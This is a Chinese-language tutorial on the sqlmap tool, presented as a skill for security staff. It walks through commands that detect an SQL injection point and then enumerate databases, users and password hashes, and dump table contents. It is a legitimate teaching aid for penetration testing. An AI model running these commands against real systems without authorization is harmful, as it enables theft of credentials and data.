对于网络安全人员来说,掌握渗透工具的使用方法是一项必备的技能。

sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它由python语言开发而成,因此运行需要安装python环境。


  • 检测注入点
  • 显示数据库名称
  • 当前的数据库
  • 数据库使用账户
  • 列出数据库用户
  • 数据库账户与密码
  • 列出数据库中的表
  • 列出表中字段
  • 显示字段内容
  • 指定导出特定范围的字段内容


检测注入点

python sqlmap.py -u 请求地址 --batch

-u:指定注入点url

如果注入成功则会显示:

python sqlmap二次调用 sqlmap.py -u_sql注入


- 注入参数的请求方式。


- web服务器系统。

- web应用程序技术。

- 数据库类型。

显示数据库名称

一条命令即可曝出该sqlserver中所有数据库名称,命令如下:

python sqlmap.py -u 请求地址 --dbs

–dbs:dbs前面有两条杠,请看清楚。

如果注入成功则会显示:

python sqlmap二次调用 sqlmap.py -u_网络安全_02


- 显示所有数据库名称。

当前的数据库

python sqlmap.py -u 请求地址 --current-db


python sqlmap二次调用 sqlmap.py -u_数据库_03

数据库使用账户

python sqlmap.py -u 请求地址 --current-user

python sqlmap二次调用 sqlmap.py -u_python sqlmap二次调用_04

列出数据库用户

python sqlmap.py -u 请求地址 --users


python sqlmap二次调用 sqlmap.py -u_网络安全_05

数据库账户与密码

python sqlmap.py -u 请求地址 --passwords

python sqlmap二次调用 sqlmap.py -u_网络安全_06

列出数据库中的表

python sqlmap.py -u 请求地址 -D tourdata --tables

python sqlmap二次调用 sqlmap.py -u_数据库_07


-D:指定数据库名称

–tables:列出表

列出表中字段

python sqlmap.py -u 请求地址 -D tourdata -T userb --columns

python sqlmap二次调用 sqlmap.py -u_python sqlmap二次调用_08


–columns:指定列出字段

显示字段内容

python sqlmap.py -u 请求地址 -D tourdata -T userb -C 字段A,字段B,字段C --dump

-C :指定要显示的字段

–dump:将结果导出

结果:


python sqlmap二次调用 sqlmap.py -u_网络安全_09



指定导出特定范围的字段内容

python sqlmap.py -u 请求地址 -D A库(数据库名称) -T A表(表名称) -C 字段A(字段名称),字段B,字段C --start 1 --stop 10 --dump

–start:指定开始的行

–stop:指定结束的行

导出数据库A库中的表A表中的字段(字段A,字段B,字段C)中的第1到第10行的数据内容。

python sqlmap二次调用 sqlmap.py -u_sql注入_10